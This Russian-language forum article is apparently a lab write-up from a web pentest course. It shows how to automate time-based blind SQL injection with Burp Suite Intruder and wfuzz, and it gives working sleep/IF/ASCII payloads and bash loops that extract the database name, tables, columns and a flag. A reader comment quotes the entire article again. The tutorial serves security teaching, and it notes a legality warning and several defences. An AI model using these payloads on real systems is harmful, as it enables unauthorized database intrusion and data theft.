РАЗБОР AppSec Статья

Автоматизация эксплуатации слепой Time-based SQL-инъекции при помощи Burp Suite и WFUZZ

Paladin
Paladin Exploit Dev · 104 сообщений
Подписаться
7,5 тыс.
[ обложка статьи ]
Режим чтения
Прежде чем перейти к практике, стоит держать в голове, что все описанные ниже техники предназначены исключительно для легальных пентестов и лабораторных стендов вроде WAPT — эксплуатация Time-based SQL-инъекций на чужих ресурсах без разрешения владельца является уголовно наказуемым деянием. Со стороны защиты подобные атаки закрываются банальными, но часто игнорируемыми мерами: параметризованными запросами вместо конкатенации строк, ограничением привилегий учетной записи БД, WAF-правилами, детектирующими аномальные задержки в ответах, и мониторингом long-running запросов на стороне SQL-сервера. Держа это в уме, вернемся к инструментам автоматизации.



1699176176111.png


Привет форумчане!​

Давно не брался за перо, все никак не мог найти ни времени, ни мозгов, ни идей. Эта статья будет некоторым продолжением статей Автоматизация эксплуатации слепой инъекции при помощи Burp Suite и Автоматизация эксплуатации слепой инъекции при помощи WFUZZ.

Как показала практика, автоматизация извлечения данных из таблиц посредством Burp Suite и WFUZZ имеет право на жизнь, а моя писанина даже кому-то принесла пользу. Сегодня мы попробуем использовать эти же инструменты для эксплуатации Time-based SQL-инъекции.

В чем прелесть Time-based? Эта уязвимость (полностью слепая инъекция или двойная слепая инъекция) основана на задержке времени. Когда тесты на истинные и ложные запросы не дают совершенно никакого результата (вывод всегда одинаковый), стоит сделать тесты на Time blind (Double blind).

По традиции, для своих экспериментов я возьму одну из задач курса WAPT. Надеюсь мои коллеги при встрече не отобьют мне почки за разглашение корпоративной тайны. Итак, приступим!

Имеем некий сайт, на котором в одном из параметров детектировали SQL-инъекцию.
​
1699174387209.png

На самом деле, здесь она очень простая, здесь присутствует Union-based SQL-инъекция и задача решается элементарной подстановкой запроса ' or true--+- и мы получим искомый флаг:​

1699174453335.png

Но сегодня цель у нас другая и мы должны решить ее с использованием временной задержки. Начнем с Burp Suite.​

Burp Suite Intruder​

Мы уже убедились, что использовать этот инструмент для автоматизации извлечения содержимого БД очень наглядно и удобно, а главное – это быстрее, чем тащить все это руками, перебирая вручную каждый символ в Repiter. Для этого не требуется великих знаний и мозгов, а только прямые руки и некоторые понятия в SQL-запросах.

Для начала перехватим наш запрос в Burp Suite и отправим его в Repiter. В уязвимый параметр вставляем следующую нагрузку: ' and sleep(5)--+- и нажимаем кнопку Send. Наблюдаем, что ответ появляется с некоторой задержкой. От этого и будем плясать.​

1699174619964.png


1699174637892.png

Функция sleep(5) вызывает задержку запроса на указанное количество секунд. В нашем случае мы получим 5-секундную задержку. Теперь попробуем определить количество символов в названии БД, для этого будем использовать следующий запрос: ' and if(length(database())<10, sleep(5),0)--+-

Здесь функция IF() в зависимости от результата условного выражения возвращает одно из двух значений. Она имеет следующий синтаксис: IF(условие, значение 1, значение 2).
В нашем случае, если условие length(database())<10 выполнится, то мы получим задержку, если не выполнится – не получим.​

1699174820223.png

Мы ничего не получили. Поменяем знак на > и наблюдаем 5-секундную задержку.
​
1699174876095.png

Значит в названии текущей базы данных больше 10 символов. Давайте узнаем это название. Формируем следующий запрос:

1' and IF(ascii(substring((select database()),1,1))=116, sleep(5),0)--+-

Здесь мы будем перебирать не символы по словарю, а ASCII коды этих символов. Все дело в том, что большие и маленькие буквы дадут одинаковую реакцию и если мы будем вытаскивать из базы пароль PasswoRD, то в итоге получим password. В общем извлечение через ASCII коды избавит нас в дальнейшем от проблем с регистром.

И вот тут мы подошли к моменту, когда нам нужно вручную перебирать два значения: номер символа по порядку и код символа в таблице ASCII.

1' and IF(ascii(substring((select database()),1,1))=116, sleep(5),0)--+-

Посмотрим на таблицу ASCII кодов. Для нас полезными будут являться символы 32-126.
​
1699175062286.png

Если мы будем перебирать название БД из более чем 10 символов по всем этим кодам, то на извлечение только этого у нас уйдет минут 40, а после этого мы предпочтем бросить все к чертям собачьим и отдаться алкогольному богу. Самые умные, конечно, потратят минут 40-60 на написание скрипта, например, на Python для эксплуатации этой инъекции, но так как я к ним себя не отношу, то буду использовать то, что имею.

Загоняем наш запрос в Intruder. Выбираем тип атаки – Cluster bomb и символы, которые требуется перебирать
​
1699175607558.png

Переходим во вкладку Payloads и для первого пейлоада задаем числовые значения от 1 до, например, 20 с шагом 1.
​
1699175666145.png

А для второго – числовые значения от от 32 до 126 с шагом 1.
​
1699175703366.png

И запускаем атаку.
​
1699175760753.png

Если вы сейчас посмотрите на скриншот, то наверняка скажете, что Paladin – тупой баран, который потратил кучу нашего времени и не получил никакого результата, то мне останется только спрятаться куда-нибудь подальше, чтобы вы меня не нашли или…. добавить, что нужно зайти меню Columns и сделать видимым столбец Response received, в котором как раз и указано время ответа.
​
1699175840341.png

Все, что нам останется сделать, это отсортировать столбец Response received по убыванию и получить значения, на ответ которых ушло примерно 5 секунд.
​
1699175892079.png

Проблема в том, что в этом случае мы не можем отсортировать сразу по двум столбцам и придется по первому пейлоаду сортировать значения вручную. Самые умные, конечно, скопируют нужную часть таблицы в файл.
​
1699176176163.png

​
А после этого отсортируют содержимое по второму столбцу, используя в терминале следующую команду: sort –n –k 2 db

1699176704714.png

​
Дальше можно было бы обратиться к одному из онлайн-кодировщиков и перевести все это в знакомые нам буковки, но мы используем для этого небольшой скриптик.

1699176807778.png

1699176829912.png

Вот так мы получили название текущей базы данных. Чтобы получить название таблиц, используем следующий запрос:

' and IF(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1,1))=116,sleep(5),0)--+-

Оператор limit нам нужен в том случае, если у нас несколько таблиц и мы после нахождения очередного значения меняем первый индекс limit: 0,1 > 1,1 > 2,1 и т.д. В нашем примере нашлась только одна таблица:
​
1699176995827.png


1699177031785.png

​
Названия столбцов будем вытаскивать следующим запросом:

' and IF(ascii(substring((select column_name from information_schema.columns where table_name=’flag_box’ limit 0,1), 1,1))=116,sleep(5),0)--+-

Вот тут нам уже понадобится изменять значение limit, так как столбцов будет несколько. Мы нашли столбцы id и name. Логично, что искомое значение флага находится в столбце name, поэтому для его извлечения используем запрос следующего содержания:

' and IF(ascii(substring((select name from flag_box limit 0,1), 1,1))=116,sleep(5),0)--+-

В результате я получил следующее:
​
1699177135345.png

​
Очевидно, что флаг не полный, потому что я оставил на перебор только 20 символов, но вы можете сравнить этот кусочек с тем что мы видели вначале статьи и поймете, что мы получили часть реального флага.

На весь процесс у меня ушло от силы 20 минут. Вручную за это время мы смогли бы извлечь только половину названия таблицы. Многие скажут, что в Burp Suite версии Community перебор идет значительно дольше, чем в PRO версии. Соглашусь, но в нашем случае, использование версии Community увеличит время решения всей задачи минут на 10. Для работы с большими базами данных через Time-based лучше всего использовать один из фаззеров, скорость работы которых существенно быстрее. Мы обратимся к wfuzz, так как он имеет опцию, позволяющую задавать диапазон чисел для фаззинга. Ffuf тоже подойдет, но для него придется создавать два словаря с числами и фаззить по ним.​

Wfuzz​

Мы сейчас не будем изобретать велосипед, так как все нужные запросы у нас уже есть из предыдущего примера. Просто применим их для wfuzz.

Имя БД
​
for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF((ascii(substr(database(),$i,1)))=FUZZ,sleep(5),null)--+-";done > db && grep -F "5." db

1699177378986.png

Перебор у меня занял ровно 70 секунд. Теперь разберем, что мы тут делаем. Запускаем в командной строке цикл от 1 до 20 на выполнение программы wfuzz с нашей нагрузкой и устанавливаем диапазон для перебора кодов ASCII от 32 до 126. Результат будет сохранен в файл db и после этого выполнится команда grep, которая оставит только те значения, которые нам нужны (то есть с задержкой около 5 секунд) и выведет все это на экран. Только, если вы заметили, у нас уже все символы отсортированы в нужном порядке. Нам остается только перекодировать их в алфавитно-цифровой вид. Дальнейший алгоритм, как в предыдущем примере.

Имена таблиц

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), $i,1))=FUZZ,sleep(5),0)--+-";done > tables && grep -F "5." tables​

1699177504381.png

Название столбцов

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF(ascii(substring((select column_name from information_schema.columns where table_name='flag_box' limit 1,1), $i,1))=FUZZ,sleep(5),0)--+-";done > columns && grep -F "5." columns​

1699177568369.png

Флаг

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF(ascii(substring((select name from flag_box limit 3,1), $i,1))=FUZZ,sleep(5),0)--+-";done > flag && grep -F "5." flag​

1699177658008.png

Ну вот, пожалуй, и все. Я не стал здесь заморачиваться с нормальной фильтрацией в команде grep, чтобы исключить ненужную информацию в выводе. Мне просто лень, да и пива уже хочется. Думаю, у кого есть желание, сам разберется как красивее организовать вывод на экран или в файл и напишет это в комментариях. Буду признателен.

На этом все. Спасибо за внимание!​
Полезно · 14

Комментарии

4
Отлично! Интересно и понятно
 
Отличная статейка.🤟🏼
 
Благодарю за проделанную работу, статья как всегда на высоте. Продолжайте в том же духе!!!
 
Посмотреть вложение 72026

Привет форумчане!​

Давно не брался за перо, все никак не мог найти ни времени, ни мозгов, ни идей. Эта статья будет некоторым продолжением статей Автоматизация эксплуатации слепой инъекции при помощи Burp Suite и Автоматизация эксплуатации слепой инъекции при помощи WFUZZ.

Как показала практика, автоматизация извлечения данных из таблиц посредством Burp Suite и WFUZZ имеет право на жизнь, а моя писанина даже кому-то принесла пользу. Сегодня мы попробуем использовать эти же инструменты для эксплуатации Time-based SQL-инъекции.

В чем прелесть Time-based? Эта уязвимость (полностью слепая инъекция или двойная слепая инъекция) основана на задержке времени. Когда тесты на истинные и ложные запросы не дают совершенно никакого результата (вывод всегда одинаковый), стоит сделать тесты на Time blind (Double blind).

По традиции, для своих экспериментов я возьму одну из задач курса WAPT. Надеюсь мои коллеги при встрече не отобьют мне почки за разглашение корпоративной тайны. Итак, приступим!

Имеем некий сайт, на котором в одном из параметров детектировали SQL-инъекцию.
​

На самом деле, здесь она очень простая, здесь присутствует Union-based SQL-инъекция и задача решается элементарной подстановкой запроса ' or true--+- и мы получим искомый флаг:​


Но сегодня цель у нас другая и мы должны решить ее с использованием временной задержки. Начнем с Burp Suite.​

Burp Suite Intruder​

Мы уже убедились, что использовать этот инструмент для автоматизации извлечения содержимого БД очень наглядно и удобно, а главное – это быстрее, чем тащить все это руками, перебирая вручную каждый символ в Repiter. Для этого не требуется великих знаний и мозгов, а только прямые руки и некоторые понятия в SQL-запросах.

Для начала перехватим наш запрос в Burp Suite и отправим его в Repiter. В уязвимый параметр вставляем следующую нагрузку: ' and sleep(5)--+- и нажимаем кнопку Send. Наблюдаем, что ответ появляется с некоторой задержкой. От этого и будем плясать.​


Функция sleep(5) вызывает задержку запроса на указанное количество секунд. В нашем случае мы получим 5-секундную задержку. Теперь попробуем определить количество символов в названии БД, для этого будем использовать следующий запрос: ' and if(length(database())<10, sleep(5),0)--+-

Здесь функция IF() в зависимости от результата условного выражения возвращает одно из двух значений. Она имеет следующий синтаксис: IF(условие, значение 1, значение 2).
В нашем случае, если условие length(database())<10 выполнится, то мы получим задержку, если не выполнится – не получим.​


Мы ничего не получили. Поменяем знак на > и наблюдаем 5-секундную задержку.
​

Значит в названии текущей базы данных больше 10 символов. Давайте узнаем это название. Формируем следующий запрос:

1' and IF(ascii(substring((select database()),1,1))=116, sleep(5),0)--+-

Здесь мы будем перебирать не символы по словарю, а ASCII коды этих символов. Все дело в том, что большие и маленькие буквы дадут одинаковую реакцию и если мы будем вытаскивать из базы пароль PasswoRD, то в итоге получим password. В общем извлечение через ASCII коды избавит нас в дальнейшем от проблем с регистром.

И вот тут мы подошли к моменту, когда нам нужно вручную перебирать два значения: номер символа по порядку и код символа в таблице ASCII.

1' and IF(ascii(substring((select database()),1,1))=116, sleep(5),0)--+-

Посмотрим на таблицу ASCII кодов. Для нас полезными будут являться символы 32-126.
​

Если мы будем перебирать название БД из более чем 10 символов по всем этим кодам, то на извлечение только этого у нас уйдет минут 40, а после этого мы предпочтем бросить все к чертям собачьим и отдаться алкогольному богу. Самые умные, конечно, потратят минут 40-60 на написание скрипта, например, на Python для эксплуатации этой инъекции, но так как я к ним себя не отношу, то буду использовать то, что имею.

Загоняем наш запрос в Intruder. Выбираем тип атаки – Cluster bomb и символы, которые требуется перебирать
​

Переходим во вкладку Payloads и для первого пейлоада задаем числовые значения от 1 до, например, 20 с шагом 1.
​

А для второго – числовые значения от от 32 до 126 с шагом 1.
​

И запускаем атаку.
​

Если вы сейчас посмотрите на скриншот, то наверняка скажете, что Paladin – тупой баран, который потратил кучу нашего времени и не получил никакого результата, то мне останется только спрятаться куда-нибудь подальше, чтобы вы меня не нашли или…. добавить, что нужно зайти меню Columns и сделать видимым столбец Response received, в котором как раз и указано время ответа.
​

Все, что нам останется сделать, это отсортировать столбец Response received по убыванию и получить значения, на ответ которых ушло примерно 5 секунд.
​

Проблема в том, что в этом случае мы не можем отсортировать сразу по двум столбцам и придется по первому пейлоаду сортировать значения вручную. Самые умные, конечно, скопируют нужную часть таблицы в файл.
​
А после этого отсортируют содержимое по второму столбцу, используя в терминале следующую команду: sort –n –k 2 db

Дальше можно было бы обратиться к одному из онлайн-кодировщиков и перевести все это в знакомые нам буковки, но мы используем для этого небольшой скриптик.


Вот так мы получили название текущей базы данных. Чтобы получить название таблиц, используем следующий запрос:

' and IF(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1,1))=116,sleep(5),0)--+-

Оператор limit нам нужен в том случае, если у нас несколько таблиц и мы после нахождения очередного значения меняем первый индекс limit: 0,1 > 1,1 > 2,1 и т.д. В нашем примере нашлась только одна таблица:
​
Названия столбцов будем вытаскивать следующим запросом:

' and IF(ascii(substring((select column_name from information_schema.columns where table_name=’flag_box’ limit 0,1), 1,1))=116,sleep(5),0)--+-

Вот тут нам уже понадобится изменять значение limit, так как столбцов будет несколько. Мы нашли столбцы id и name. Логично, что искомое значение флага находится в столбце name, поэтому для его извлечения используем запрос следующего содержания:

' and IF(ascii(substring((select name from flag_box limit 0,1), 1,1))=116,sleep(5),0)--+-

В результате я получил следующее:
​
Очевидно, что флаг не полный, потому что я оставил на перебор только 20 символов, но вы можете сравнить этот кусочек с тем что мы видели вначале статьи и поймете, что мы получили часть реального флага.

На весь процесс у меня ушло от силы 20 минут. Вручную за это время мы смогли бы извлечь только половину названия таблицы. Многие скажут, что в Burp Suite версии Community перебор идет значительно дольше, чем в PRO версии. Соглашусь, но в нашем случае, использование версии Community увеличит время решения всей задачи минут на 10. Для работы с большими базами данных через Time-based лучше всего использовать один из фаззеров, скорость работы которых существенно быстрее. Мы обратимся к wfuzz, так как он имеет опцию, позволяющую задавать диапазон чисел для фаззинга. Ffuf тоже подойдет, но для него придется создавать два словаря с числами и фаззить по ним.​

Wfuzz​

Мы сейчас не будем изобретать велосипед, так как все нужные запросы у нас уже есть из предыдущего примера. Просто применим их для wfuzz.

Имя БД
​
for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF((ascii(substr(database(),$i,1)))=FUZZ,sleep(5),null)--+-";done > db && grep -F "5." db


Перебор у меня занял ровно 70 секунд. Теперь разберем, что мы тут делаем. Запускаем в командной строке цикл от 1 до 20 на выполнение программы wfuzz с нашей нагрузкой и устанавливаем диапазон для перебора кодов ASCII от 32 до 126. Результат будет сохранен в файл db и после этого выполнится команда grep, которая оставит только те значения, которые нам нужны (то есть с задержкой около 5 секунд) и выведет все это на экран. Только, если вы заметили, у нас уже все символы отсортированы в нужном порядке. Нам остается только перекодировать их в алфавитно-цифровой вид. Дальнейший алгоритм, как в предыдущем примере.

Имена таблиц

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), $i,1))=FUZZ,sleep(5),0)--+-";done > tables && grep -F "5." tables​


Название столбцов

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF(ascii(substring((select column_name from information_schema.columns where table_name='flag_box' limit 1,1), $i,1))=FUZZ,sleep(5),0)--+-";done > columns && grep -F "5." columns​


Флаг

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF(ascii(substring((select name from flag_box limit 3,1), $i,1))=FUZZ,sleep(5),0)--+-";done > flag && grep -F "5." flag​


Ну вот, пожалуй, и все. Я не стал здесь заморачиваться с нормальной фильтрацией в команде grep, чтобы исключить ненужную информацию в выводе. Мне просто лень, да и пива уже хочется. Думаю, у кого есть желание, сам разберется как красивее организовать вывод на экран или в файл и напишет это в комментариях. Буду признателен.

На этом все. Спасибо за внимание!​
Спасибо, от души!